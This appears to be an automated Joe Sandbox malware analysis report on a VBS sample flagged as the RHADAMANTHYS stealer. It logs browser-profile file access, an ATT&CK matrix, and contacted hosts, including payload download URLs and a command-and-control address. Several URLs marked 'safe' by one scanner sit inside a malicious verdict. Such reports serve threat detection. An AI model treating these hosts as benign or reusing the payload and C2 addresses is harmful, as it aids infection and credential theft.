Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\thumbnails	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing\google4	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior

Source: C:\Windows\System32\svchost.exe

Directory queried: C:\Users\user\Documents\ONBQCLYSPU

Yara detected RHADAMANTHYS Stealer

Remote Access Functionality

Source: Yara match	File source: 0000000B.00000003.2013624031.00000000007A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2008744102.0000000002E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2104903369.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2020607933.00000000223F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6F59B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		12_3_00007DF45B6F59B0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFDD004 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,		16_2_000002614EFDD004

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	111 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	3 Obfuscated Files or Information	1 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Extra Window Memory Injection	2 Software Packing	21 Input Capture	224 System Information Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	512 Process Injection	1 DLL Side-Loading	Security Account Manager	331 Security Software Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	512 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
payload_1.vbs	5%	ReversingLabs

Source	Detection	Scanner	Label
https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://pts.group	0%	Avira URL Cloud	safe
https://www.pts.group	0%	Avira URL Cloud	safe
https://www.tdejb.com/ab/ab.binVerisTvewww.tequila.ae/ab/ab.bin	0%	Avira URL Cloud	safe
http://www.microsoft.dN	0%	Avira URL Cloud	safe
https://www.tdejb.com/ab/ab.bin	0%	Avira URL Cloud	safe
https://www.tdejb.com/ab/ab.binV	0%	Avira URL Cloud	safe
https://www.tdejb.com/	0%	Avira URL Cloud	safe
https://www.puneet.ae/ab/infantrymen.deploy	0%	Avira URL Cloud	safe
https://www.pts.group/ab/infantrymen.deploy	0%	Avira URL Cloud	safe
http://www.pts.group	0%	Avira URL Cloud	safe
https://www.puneet.ae/ab/infantrymen.deployt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
time.cloudflare.com	162.159.200.123	true	false	high
time.google.com	216.239.35.0	true	false	high
pts.group	68.66.226.116	true	false	unknown
tdejb.com	202.71.109.228	true	false	unknown
ntp.time.in.ua	62.149.0.30	true	false	high
time-a-g.nist.gov	129.6.15.28	true	false	high
ntp1.hetzner.de	213.239.239.164	true	false	unknown
www.pts.group	unknown	unknown	true	unknown
ts1.aco.net	unknown	unknown	true	unknown
www.tdejb.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.tdejb.com/ab/ab.bin	false	Avira URL Cloud: safe	unknown
https://www.pts.group/ab/infantrymen.deploy	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.dN	powershell.exe, 00000005.00000002.1951933890.0000000007BC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tdejb.com/ab/ab.binVerisTvewww.tequila.ae/ab/ab.bin	msiexec.exe, 0000000A.00000002.2037678895.0000000021B30000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000003.00000002.1793533146.0000022400BAD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.puneet.ae/ab/infantrymen.deploy	powershell.exe, 00000003.00000002.1793533146.0000022400225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1793533146.00000224015AD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tdejb.com/	msiexec.exe, 0000000A.00000002.2022940955.0000000006A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pts.group	powershell.exe, 00000003.00000002.1793533146.0000022401C6A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	false		high
https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl	svchost.exe	false	Avira URL Cloud: safe	unknown
https://www.pts.group	powershell.exe, 00000003.00000002.1793533146.000002240191B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1793533146.0000022400225000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000003.00000002.1836359278.000002247DC22000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.1920307649.00000000050E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 0000000D.00000002.2255888915.00006FF0022F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tdejb.com/ab/ab.binV	msiexec.exe, 0000000A.00000002.2022940955.0000000006A2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1793533146.0000022400001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1793533146.0000022400001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1920307649.00000000050E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pts.group	powershell.exe, 00000003.00000002.1793533146.0000022401C6A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.puneet.ae/ab/infantrymen.deployt	powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
213.239.239.164	ntp1.hetzner.de	Germany	24940	HETZNER-ASDE	false
62.149.0.30	ntp.time.in.ua	Ukraine	15497	COLOCALLInternetDataCenterColoCALLUA	false
129.6.15.28	time-a-g.nist.gov	United States	49	US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS	false
216.239.35.0	time.google.com	United States	15169	GOOGLEUS	false
162.159.200.123	time.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
68.66.226.116	pts.group	United States	55293	A2HOSTINGUS	false
45.149.241.141	unknown	Germany	701	UUNETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
202.71.109.228	tdejb.com	Malaysia	17971	TMVADS-APTM-VADSDCHostingMY	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569005
Start date and time:	2024-12-05 10:45:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	payload_1.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@31/11@8/10
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Successful, ratio: 64% Number of executed functions: 196 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 212.138.170.134, 17.253.18.131, 17.253.14.125, 17.253.18.99, 172.217.21.35, 172.217.17.46, 173.194.220.84, 23.218.208.109
Excluded domains from analysis (whitelisted): pool.ntp.org, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, time.apple.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, time.g.aaplimg.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target msiexec.exe, PID 5660 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 984 because it is empty
Execution Graph export aborted for target svchost.exe, PID 3328 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: payload_1.vbs

Simulations

Behavior and APIs

Time	Type	Description
04:45:55	API Interceptor	1x Sleep call for process: WMIC.exe modified
04:45:57	API Interceptor	83x Sleep call for process: powershell.exe modified
04:46:50	API Interceptor	2x Sleep call for process: svchost.exe modified
04:47:11	API Interceptor	1x Sleep call for process: wmpnscfg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
213.239.239.164	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
62.149.0.30	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
129.6.15.28	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse
	mirai_nomi	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.22921.14172.elf	Get hash	malicious	Mirai	Browse
	PrHBHHWE5U.elf	Get hash	malicious	Mirai	Browse
	y99ZI1Kjg8.exe	Get hash	malicious	Unknown	Browse
162.159.200.123	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	NordVPN #U2013 private secure VPN_v5.8.6_apkpure.com.apk	Get hash	malicious	Unknown	Browse
	FileZilla_3.50.0_win32-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
68.66.226.116	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	AL HAYAT DUBAI UAE PRODUCTION RFQ 2024.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	Parfumens.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?ehzP8J=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&obSf_=6mSb4d
	Afklde.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?RiMDw1pV=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&Yx5=ef1G-xddsOpF

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
time.cloudflare.com	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.200.123
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.200.1
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.1
time-a-g.nist.gov	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	129.6.15.28
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	129.6.15.28
	y99ZI1Kjg8.exe	Get hash	malicious	Unknown	Browse	129.6.15.28
	QP6s4u5SZ8.exe	Get hash	malicious	Unknown	Browse	129.6.15.28
	2X3f1ykTmM.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
	kr.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
	WjmYak325l.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
	tgduMePOh0.exe	Get hash	malicious	Kronos	Browse	129.6.15.28
pts.group	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	68.66.226.116
ntp.time.in.ua	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	62.149.0.30
